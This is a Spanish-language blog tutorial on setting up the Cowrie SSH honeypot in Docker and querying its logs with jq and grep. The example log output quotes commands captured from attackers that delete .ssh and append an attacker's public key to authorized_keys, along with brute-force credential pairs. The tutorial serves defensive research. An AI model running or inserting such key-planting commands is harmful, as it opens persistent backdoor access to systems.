Qué es un Honeypot:
Un honeypot detecta y registra ataques cuando un atacante intenta infiltrarse en un sistema.
El honeypot que discutiremos aquí es un honeypot SSH.
Prefase
Este artículo viene después del que publiqué acerca de ejecutar un Honeypot SSH durante 30 días en el entorno real, el artículo generó bastante ruido y recibí muchos mensajes pidiendo mostrar cómo configuré y preparé este Honeypot SSH.
El artículo anterior:
Sofiane’s Blog - Lo que obtienes después de ejecutar un honeypot SSH durante 30 días
Requisitos
Lo configuraremos en un VPS normal sin ninguna preconfiguración específica.
Important
Esta configuración es para investigación y pruebas, así que por favor no la configures en tu red local ni en redes de uso personal o profesional.
VPS
Depende de ti elegir y encontrar el proveedor de VPS que más te convenga.
Honeypot Cowrie
Existen varios honeypots SSH famosos, pero el que vamos a usar se llama Cowrie.
Es una versión mejorada del famoso honeypot llamado Kippo.
Docker
Para esta instalación, usaremos la imagen Docker de Cowrie.
Para ello necesitarás tener Docker instalado en el nuevo VPS, puedes consultar la Documentación Oficial de Docker para instalarlo.
Paquetes a instalar
- python3
- wget
Configuración
Normalmente cambio el puerto SSH por defecto en mis servidores o máquinas.
Un método que prefiero es configurar el puerto SSH real en algo como 2022. Luego, configuro el honeypot para que escuche en el puerto SSH por defecto, el 22.
Instalación
Por defecto, Cowrie está configurado para escuchar en el puerto 2222. Mapearemos este puerto en el contenedor Docker al puerto 22 en nuestro host. Esta configuración nos permite redirigir sin problemas todos los bots de escaneo y atacantes hacia nuestro honeypot.
Creando, configurando y utilizando el usuario cowrie
:
> sudo adduser --disabled-password cowrie #Añadiendo el usuario
Adding user 'cowrie' ...
Adding new group 'cowrie' (1002) ...
Adding new user 'cowrie' (1002) with group 'cowrie' ...
Changing the user information for cowrie
Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n]
> sudo usermod -aG docker cowrie #Añadiendo cowrie al grupo docker
> sudo su - cowrie #Cambiando a cowrie
Antes de continuar, primero crearemos carpetas dentro de los directorios de nuestro VPS para almacenar todos los registros, asegurándonos de que sean accesibles directamente y no solo dentro del contenedor.
Además, configuraremos las carpetas “cowrielog” y “cowrietty” con permisos de lectura-escritura para todos.
> mkdir cowrielog && mkdir cowrietty
> chmod -R a+rw cowrielog/ cowrietty/
Y arrancamos nuestro Honeypot Cowrie:
> docker run --name cowrie -p 22:2222 -v /home/cowrie/cowrielog:/cowrie/cowrie-git/var/log/cowrie/ -v /home/cowrie/cowrietty:/cowrie/cowrie-git/var/lib/cowrie/tty cowrie/cowrie:latest
2024-06-17T14:47:28+0000 [-] Python Version 3.11.2 (main, Mar 13 2023, 12:18:29) [GCC 12.2.0]
2024-06-17T14:47:28+0000 [-] Twisted Version 24.3.0
2024-06-17T14:47:28+0000 [-] Cowrie Version 2.5.0
2024-06-17T14:47:28+0000 [-] Loaded output engine: jsonlog
2024-06-17T14:47:28+0000 [twisted.scripts._twistd_unix.UnixAppLogger#info] twistd 24.3.0 (/cowrie/cowrie-env/bin/python3 3.11.2) starting up.
2024-06-17T14:47:28+0000 [twisted.scripts._twistd_unix.UnixAppLogger#info] reactor class: twisted.internet.epollreactor.EPollReactor.
2024-06-17T14:47:28+0000 [-] CowrieSSHFactory starting on 2222
2024-06-17T14:47:28+0000 [cowrie.ssh.factory.CowrieSSHFactory#info] Starting factory <cowrie.ssh.factory.CowrieSSHFactory object at 0x7c4c73951b10>
2024-06-17T14:47:28+0000 [-] Generating new RSA keypair...
2024-06-17T14:47:28+0000 [-] Generating new ECDSA keypair...
2024-06-17T14:47:28+0000 [-] Generating new ed25519 keypair...
2024-06-17T14:47:28+0000 [-] Ready to accept SSH connections
Analizando los registros
El archivo de log se encuentra en ~/cowrielog
, y los registros de reproducción tty en ~/cowrietty
.
Usando comandos de Linux
Para filtrar y organizar la salida, puedes usar el comando jq
. Esta herramienta permite extraer precisamente la información que necesitas de datos JSON.
Usar JSON para archivos de logs ofrece ventajas significativas en términos de estructura, legibilidad, manejo, resiliencia y observabilidad. Estos beneficios hacen de JSON una elección ideal para el registro en el desarrollo y operación moderna de software.
Para obtener todos los intentos de inicio de sesión:
> jq '.| select(.eventid | startswith("cowrie.login"))' cowrie.json
Ejemplo de salida:
{
"eventid": "cowrie.login.failed",
"username": "tserver",
"password": "tserver",
"message": "login attempt [tserver/tserver] failed",
"sensor": "8caf2d7e4943",
"timestamp": "2024-06-17T14:56:07.547278Z",
"src_ip": "59.24.160.227",
"session": "6530ab02251d"
}
{
"eventid": "cowrie.login.failed",
"username": "student02",
"password": "student02",
"message": "login attempt [student02/student02] failed",
"sensor": "8caf2d7e4943",
"timestamp": "2024-06-17T14:56:12.223248Z",
"src_ip": "59.24.160.227",
"session": "56b69171281c"
}
{
"eventid": "cowrie.login.failed",
"username": "vyos",
"password": "vyos",
"message": "login attempt [vyos/vyos] failed",
"sensor": "8caf2d7e4943",
"timestamp": "2024-06-17T14:56:16.560385Z",
"src_ip": "59.24.160.227",
"session": "c0fcc16bedfc"
}
Para obtener todos los intentos de inicio exitosos:
> jq '. | select(.eventid == "cowrie.login.success")' cowrie.json
Ejemplo de salida:
{
"eventid": "cowrie.login.success",
"username": "root",
"password": "Passw0rd",
"message": "login attempt [root/Passw0rd] succeeded",
"sensor": "8caf2d7e4943",
"timestamp": "2024-06-17T14:53:39.274245Z",
"src_ip": "141.98.10.106",
"session": "d5c5f7b97455"
}
Para obtener todos los intentos fallidos de inicio de sesión:
> jq '. | select(.eventid == "cowrie.login.failed")' cowrie.json
Ejemplo de salida:
{
"eventid": "cowrie.login.failed",
"username": "vsftp",
"password": "vsftp",
"message": "login attempt [vsftp/vsftp] failed",
"sensor": "8caf2d7e4943",
"timestamp": "2024-06-17T14:55:55.663982Z",
"src_ip": "59.24.160.227",
"session": "164c6534c698"
}
{
"eventid": "cowrie.login.failed",
"username": "yangjie",
"password": "yangjie",
"message": "login attempt [yangjie/yangjie] failed",
"sensor": "8caf2d7e4943",
"timestamp": "2024-06-17T14:55:59.626399Z",
"src_ip": "59.24.160.227",
"session": "809749c9eba7"
}
{
"eventid": "cowrie.login.failed",
"username": "pedro",
"password": "pedro",
"message": "login attempt [pedro/pedro] failed",
"sensor": "8caf2d7e4943",
"timestamp": "2024-06-17T14:56:03.966702Z",
"src_ip": "59.24.160.227",
"session": "b9bee41ed3d2"
}
Para obtener el número de intentos de inicio de sesión:
> cat cowrie.json| grep "cowrie.login" | wc -l
12419
Para obtener el número de intentos de inicio exitosos:
> cat cowrie.json| grep "cowrie.login.success" | wc -l
379
Para obtener el número de intentos de inicio fallidos:
> cat cowrie.json| grep "cowrie.login.failed" | wc -l
12040
Para obtener las direcciones IP fuente:
> jq '.src_ip' cowrie.json
"141.98.10.106"
"141.98.10.106"
"141.98.10.106"
"141.98.10.106"
"59.24.160.227"
"59.24.160.227"
"59.24.160.227"
"59.24.160.227"
"59.24.160.227"
"59.24.160.227"
Comprobando los comandos ejecutados
Filtrando el archivo de log
> jq '. | select(.eventid == "cowrie.command.input")' cowrie.json
Ejemplo de salida:
{
"eventid": "cowrie.command.input",
"input": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"message": "CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh",
"sensor": "2c091cd328dc",
"timestamp": "2024-06-18T00:38:20.746663Z",
"src_ip": "121.156.118.253",
"session": "22e1e1e98a94"
}
{
"eventid": "cowrie.command.input",
"input": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"message": "CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"sensor": "2c091cd328dc",
"timestamp": "2024-06-18T00:38:21.702641Z",
"src_ip": "121.156.118.253",
"session": "22e1e1e98a94"
}
{
"eventid": "cowrie.command.input",
"input": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"message": "CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh",
"sensor": "2c091cd328dc",
"timestamp": "2024-06-18T00:40:21.541909Z",
"src_ip": "95.85.47.10",
"session": "020967259efb"
}
{
"eventid": "cowrie.command.input",
"input": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"message": "CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"sensor": "2c091cd328dc",
"timestamp": "2024-06-18T00:40:21.676392Z",
"src_ip": "95.85.47.10",
"session": "020967259efb"
}
{
"eventid": "cowrie.command.input",
"input": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"message": "CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh",
"sensor": "2c091cd328dc",
"timestamp": "2024-06-18T00:41:28.715153Z",
"src_ip": "101.32.128.77",
"session": "31d76f7f481c"
}
{
"eventid": "cowrie.command.input",
"input": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"message": "CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"sensor": "2c091cd328dc",
"timestamp": "2024-06-18T00:41:29.412566Z",
"src_ip": "101.32.128.77",
"session": "31d76f7f481c"
}
Usando Cowrie playlog para reproducir registros de sesión
Con playlog, obtendrás una reproducción de la sesión tty y los comandos que se ejecutaron en ella.
> cd ~/cowrietty && wget https://raw.githubusercontent.com/cowrie/cowrie/master/src/cowrie/scripts/playlog.py
> python3 playlog.py <ID DE SESIÓN>
Ejemplo de entrada y salida:
> python3 playlog.py cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
¿Quieres profundizar más?
Puedes configurar Cowrie con herramientas de monitoreo de logs, encontrarás la configuración e instalación de eso en la documentación oficial Cowrie Documentation
Discusión
Deja un Comentario
Los comentarios de invitados serán revisados antes de aparecer en el sitio.
Aún no hay comentarios. ¡Sé el primero en iniciar la discusión!